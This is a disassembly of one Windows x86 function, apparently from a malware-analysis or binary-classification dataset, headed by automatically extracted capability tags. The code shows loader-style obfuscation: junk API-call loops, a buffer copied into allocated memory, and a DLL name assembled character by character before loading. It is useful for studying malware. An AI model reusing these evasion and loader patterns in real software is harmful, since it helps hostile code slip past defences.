Function at 0x41d850
Capabilities:
Get common file path
Get disk information
Get geographical location
Move file
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
push 0xffffffffffffffff
push 0x41fa41
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
mov eax, 0x2570
call fcn.00418940
push ebx
push ebp
push esi
xor ebx, ebx
mov dword [esp + 0x1c], ebx
mov ebp, dword [sym.imp.KERNEL32.dll_GetProfileSectionA]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
xor esi, esi
cmp esi, 0x2c84f
jge 0x41d8a1
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_CharToOemBuffA]
cmp dword [0xf82dac], 0x6fb
jne 0x41d906
push 0x30
lea eax, [esp + 0x140]
push ebx
push eax
mov dword [esp + 0x144], ebx
call fcn.0040a920
add esp, 0xc
push ebx
lea ecx, [esp + 0x13c]
push ecx
push 0x40420c
call edi
push ebx
lea edx, [esp + 0x584]
push edx
push 0x404244
call ebp
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x2c]
push ecx
lea edx, [esp + 0x2c]
push edx
push ebx
lea eax, [esp + 0x190]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp esi, 0x1e7d3ee8
jle 0x41d925
cmp dword [esp + 0x1c], 0xc10392
je 0x41d925
cmp dword [esp + 0x144], 0x9343ae8
jne 0x41d934
inc esi
cmp esi, 0x7e98d
jl 0x41d890
jmp 0x41d962
cmp dword [0xf82dac], 0x28
jne 0x41d962
push ebx
lea ecx, [esp + 0x20]
push ecx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea edx, [esp + 0x180]
push edx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
cmp dword [0xf82dac], 0xcf8
jne 0x41de6c
push 0x404260
push ebx
call fcn.0040a862
push ebx
push ebx
push ebx
push 0x82cff0
call fcn.0040a2a8
push ebx
call fcn.0040a6d3
add esp, 0x1c
push ebx
push ebx
call fcn.0041d12e
add esp, 8
lea eax, [esp + 0xe8]
push eax
call fcn.00406710
mov dword [esp + 0xe8], 0x40450c
mov dword [esp + 0x124], ebx
mov dword [esp + 0x128], ebx
mov eax, 1
mov dword [esp + 0x25bc], eax
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x40], 0x404550
mov dword [esp + 0x50], 0x404558
mov byte [esp + 0x25bc], 3
mov ebp, 6
push 4
mov dword [esp + 0x24], eax
mov dword [esp + 0xa4], 0x4044f4
mov dword [esp + 0x4c], ebx
mov dword [esp + 0x50], ebx
mov dword [esp + 0xd4], ebx
mov dword [esp + 0xac], ebx
mov dword [esp + 0xb4], ebx
mov dword [esp + 0xb8], 0x201
mov dword [esp + 0xbc], ebp
mov dword [esp + 0xc0], ebx
mov dword [esp + 0xc4], ebx
mov dword [esp + 0xc8], ebx
mov dword [esp + 0xcc], ebx
mov dword [esp + 0xd0], ebx
mov dword [esp + 0xb0], ebx
call fcn.0040aa56
mov esi, eax
add esp, 4
cmp esi, ebx
je 0x41da9f
call fcn.0040909f
mov dword [esi], eax
call fcn.00408e5e
push ebx
lea ecx, [esp + 0x28]
mov edi, eax
call fcn.00409265
mov eax, dword [edi + 4]
cmp eax, 0xffffffff
jae 0x41da94
inc eax
mov dword [edi + 4], eax
lea ecx, [esp + 0x24]
call fcn.0040928d
jmp 0x41daa1
xor esi, esi
lea ecx, [esp + 0x58]
lea edi, [esp + 0x28]
lea eax, [esp + 0xa0]
mov dword [esp + 0xd0], esi
mov dword [esp + 0xd8], ecx
mov dword [esp + 0xdc], ebx
call fcn.004056a0
mov edi, eax
mov dword [esp + 0x25bc], ebp
call fcn.00408590
mov byte [esp + 0x25bc], 5
mov edi, dword [esp + 0x28]
mov ebp, eax
cmp edi, ebx
je 0x41db26
push ebx
lea ecx, [esp + 0x20]
call fcn.00409265
mov eax, dword [edi + 4]
cmp eax, ebx
jbe 0x41db04
cmp eax, 0xffffffff
jae 0x41db04
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x1c]
and esi, edi
call fcn.0040928d
cmp esi, ebx
je 0x41db26
mov edx, dword [esi]
mov eax, dword [edx]
push 1
mov ecx, esi
call eax
mov edx, dword [ebp]
mov eax, dword [edx + 0x18]
push 0x20
mov ecx, ebp
call eax
mov byte [esp + 0xe0], al
cmp dword [esp + 0xd8], ebx
jne 0x41db6c
mov eax, dword [esp + 0xac]
or eax, 4
and eax, 0x17
mov dword [esp + 0xac], eax
test dword [esp + 0xb0], eax
je 0x41db6c
push ebx
lea ecx, [esp + 0xa4]
call fcn.004055c0
mov ecx, dword [esp + 0x50]
mov edx, dword [ecx + 4]
mov dword [esp + edx + 0x50], 0x4044fc
mov eax, dword [esp + 0x40]
mov ecx, dword [eax + 4]
mov dword [esp + ecx + 0x40], 0x404504
mov dword [esp + 0x25bc], 9
mov edx, dword [esp + 0x40]
mov eax, dword [edx + 4]
lea ecx, [esp + 0x58]
mov esi, 0x40454c
push ecx
mov dword [esp + eax + 0x44], esi
call fcn.00406710
mov edi, 0x40450c
mov dword [esp + 0x58], edi
mov dword [esp + 0x94], ebx
mov dword [esp + 0x98], ebx
push 0x40426c
lea edx, [esp + 0x54]
push edx
mov byte [esp + 0x25c4], 0xb
call fcn.00405880
push 0x404270
lea eax, [esp + 0x54]
push eax
call fcn.00405880
push ebx
call fcn.0040aa47
add esp, 4
push ebx
call fcn.0040a826
fldz
sub esp, 0xc
fst qword [esp + 8]
fstp qword [esp]
call fcn.0040a840
fstp st(0)
push ebx
push ebx
call fcn.0040a15b
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00409a58
add esp, 0x2c
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040a5de
add esp, 0x14
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040a52c
mov edx, dword [esp + 0x58]
mov eax, dword [edx + 4]
lea ecx, [esp + 0xb8]
add esp, 0x18
mov dword [esp + 0x28], ecx
mov dword [esp + eax + 0x40], esi
test byte [esp + 0x98], 1
lea ecx, [esp + 0x58]
mov dword [esp + 0x24], ecx
mov dword [esp + 0x58], edi
je 0x41dc78
mov edx, dword [esp + 0x68]
mov eax, dword [edx]
push eax
call fcn.0040a9a5
add esp, 4
mov eax, dword [esp + 0x68]
mov dword [eax], ebx
mov ecx, dword [esp + 0x78]
mov dword [ecx], ebx
mov edx, dword [esp + 0x88]
mov dword [edx], ebx
mov eax, dword [esp + 0x6c]
mov dword [eax], ebx
mov ecx, dword [esp + 0x7c]
mov dword [ecx], ebx
mov edx, dword [esp + 0x8c]
mov dword [edx], ebx
and dword [esp + 0x98], 0xfffffffe
mov dword [esp + 0x94], ebx
mov dword [esp + 0x58], 0x4044b4
mov byte [esp + 0x25bc], 0xd
mov eax, dword [esp + 0x90]
mov ebp, eax
cmp eax, ebx
je 0x41dd1e
mov edi, dword [eax]
cmp edi, ebx
je 0x41dd10
push ebx
lea ecx, [esp + 0x20]
call fcn.00409265
mov eax, dword [edi + 4]
cmp eax, ebx
jbe 0x41dcee
cmp eax, 0xffffffff
jae 0x41dcee
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x1c]
and esi, edi
call fcn.0040928d
cmp esi, ebx
je 0x41dd10
mov eax, dword [esi]
mov edx, dword [eax]
push 1
mov ecx, esi
call edx
push ebp
call fcn.0040a9a5
add esp, 4
mov edi, 0x40450c
lea ecx, [esp + 0x5c]
mov byte [esp + 0x25bc], 0xc
call fcn.004092be
mov byte [esp + 0x25bc], 2
mov eax, dword [esp + 0x40]
mov ecx, dword [eax + 4]
mov dword [esp + ecx + 0x40], 0x404504
mov edx, dword [esp + 0x50]
mov eax, dword [edx + 4]
mov dword [esp + eax + 0x50], 0x4044fc
mov ecx, dword [esp + 0x40]
mov edx, dword [ecx + 4]
lea eax, [esp + 0xa0]
mov dword [esp + edx + 0x40], 0x4044f4
push eax
mov dword [esp + 0xa4], 0x4044a8
call fcn.00408d94
add esp, 4
test byte [esp + 0x128], 1
mov dword [esp + 0xe8], edi
je 0x41dda2
mov ecx, dword [esp + 0xf8]
mov eax, dword [ecx]
push eax
call fcn.0040a9a5
add esp, 4
mov edx, dword [esp + 0xf8]
mov dword [edx], ebx
mov eax, dword [esp + 0x108]
mov dword [eax], ebx
mov ecx, dword [esp + 0x118]
mov dword [ecx], ebx
mov edx, dword [esp + 0xfc]
mov dword [edx], ebx
mov eax, dword [esp + 0x10c]
mov dword [eax], ebx
mov ecx, dword [esp + 0x11c]
mov dword [ecx], ebx
and dword [esp + 0x128], 0xfffffffe
mov dword [esp + 0x124], ebx
mov dword [esp + 0xe8], 0x4044b4
mov dword [esp + 0x25bc], 0xe
mov eax, dword [esp + 0x120]
mov ebp, eax
cmp eax, ebx
je 0x41de55
mov edi, dword [eax]
cmp edi, ebx
je 0x41de4c
push ebx
lea ecx, [esp + 0x20]
call fcn.00409265
mov eax, dword [edi + 4]
cmp eax, ebx
jbe 0x41de2a
cmp eax, 0xffffffff
jae 0x41de2a
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x1c]
and esi, edi
call fcn.0040928d
cmp esi, ebx
je 0x41de4c
mov edx, dword [esi]
mov eax, dword [edx]
push 1
mov ecx, esi
call eax
push ebp
call fcn.0040a9a5
add esp, 4
lea ecx, [esp + 0xec]
mov dword [esp + 0x25bc], 0xffffffff
call fcn.004092be
mov edi, dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
mov ebp, dword [sym.imp.KERNEL32.dll_MoveFileW]
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x408
jne 0x41de93
mov eax, 0x5d1
add dword [0xf82dac], eax
cmp dword [0xf82dac], 0xca3
jne 0x41deb3
push ebx
lea ecx, [esp + 0x984]
push ecx
push ebx
call edi
push 0x4042a8
push ebx
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x41de80
mov edx, dword [0xf82dac]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0xf815a4], eax
mov eax, dword [0xf82dac]
xor esi, esi
cmp eax, ebx
jbe 0x41dfd3
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebp, dword [sym.imp.KERNEL32.dll_FindFirstFileW]
lea ebx, [ebx]
cmp eax, 0xfe
jne 0x41df3c
push ebx
call edi
lea eax, [esp + 0x580]
push eax
push 0x404274
call ebp
lea ecx, [esp + 0x2c]
push ecx
xor eax, eax
lea edx, [esp + 0x13c]
push edx
push 0x404328
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
mov eax, dword [0xf82dac]
cmp eax, 0x37
jne 0x41df89
push ebx
lea eax, [esp + 0x984]
push eax
push ebx
push 0x4041bc
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
push 0x4041f8
push ebx
call dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
lea ecx, [esp + 0x180]
push ecx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
lea edx, [esp + 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov eax, dword [0xf85510]
mov dword [esp + 0x20], eax
mov eax, 0x5d1
add dword [esp + 0x20], eax
mov ecx, dword [esp + 0x20]
mov eax, dword [0xf815a4]
mov dl, byte [ecx + esi]
mov byte [eax + esi], dl
mov eax, dword [0xf82dac]
cmp eax, 0x29
jne 0x41dfca
push ebx
lea ecx, [esp + 0x984]
push ecx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov eax, dword [0xf82dac]
inc esi
cmp esi, eax
jb 0x41def0
cmp eax, 0x70
jne 0x41dfe5
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointA]
mov eax, dword [0xf82dac]
mov esi, dword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov edi, 0x9682ab
cmp eax, 3
jne 0x41dffd
push ebx
call esi
mov eax, dword [0xf82dac]
dec edi
jne 0x41dff0
mov edi, 0x25887
mov esi, 0xabebc05c
lea ebx, [ebx]
mov dword [0xf815ac], esi
cmp eax, 0x222
jne 0x41e036
push ebx
push ebx
push ebx
push 0x404334
push 0x404370
push ebx
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
mov eax, dword [0xf82dac]
dec edi
jne 0x41e010
mov byte [0x82cff0], bl
call fcn.0041d200
call fcn.0041d5e0
mov edi, dword [sym.imp.KERNEL32.dll_LocalFlags]
mov ebp, dword [sym.imp.KERNEL32.dll_LocalSize]
xor esi, esi
jmp 0x41e060
cmp dword [0xf82dac], 0xba
jne 0x41e079
push 0x404384
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
push ebx
call edi
push ebx
call ebp
cmp esi, 0x2f64
jne 0x41e092
mov eax, 0
add dword [0xf815a4], eax
inc esi
cmp esi, 0x1605a
jl 0x41e060
mov edx, 0x73
mov eax, 0x6d
mov word [0xf82db2], dx
mov word [0xf82db6], ax
xor eax, eax
mov ecx, 0x33
mov edx, 0x67
mov word [0xf82dba], cx
mov word [0xf82dc6], ax
mov word [0xf82db8], dx
mov eax, 0x69
mov ecx, 0x6d
mov edx, 0x6c
push 0xf82db0
mov dword [0xf82dc0], 0x6c0064
mov word [0xf82db4], ax
mov word [0xf82db0], cx
mov word [0xf82dc4], dx
mov dword [0xf82dbc], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0xf82dac], 0xc30
jne 0x41e206
mov edx, dword [esp + 0x1c]
push ebx
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleCursorInfo]
lea eax, [esp + 0x580]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [esp + 0x180]
push ecx
push 0x4043b0
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push ebx
lea edx, [esp + 0x1584]
push edx
push 0x4043c8
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
push 0x4043f0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push ebx
call dword [sym.imp.KERNEL32.dll_AddRefActCtx]
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push ebx
lea eax, [esp + 0x20]
push eax
push ebx
lea ecx, [esp + 0x118c]
push ecx
push ebx
call esi
push ebx
lea edx, [esp + 0x984]
push edx
lea eax, [esp + 0x30]
push eax
lea ecx, [esp + 0x30]
push ecx
lea edx, [esp + 0x30]
push edx
lea eax, [esp + 0x144]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
lea ecx, [esp + 0x138]
push ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push ebx
lea edx, [esp + 0x138]
push edx
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
push 0x404418
push 0x404430
push ebx
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
lea eax, [esp + 0x1d80]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov ecx, dword [esp + 0x25b4]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret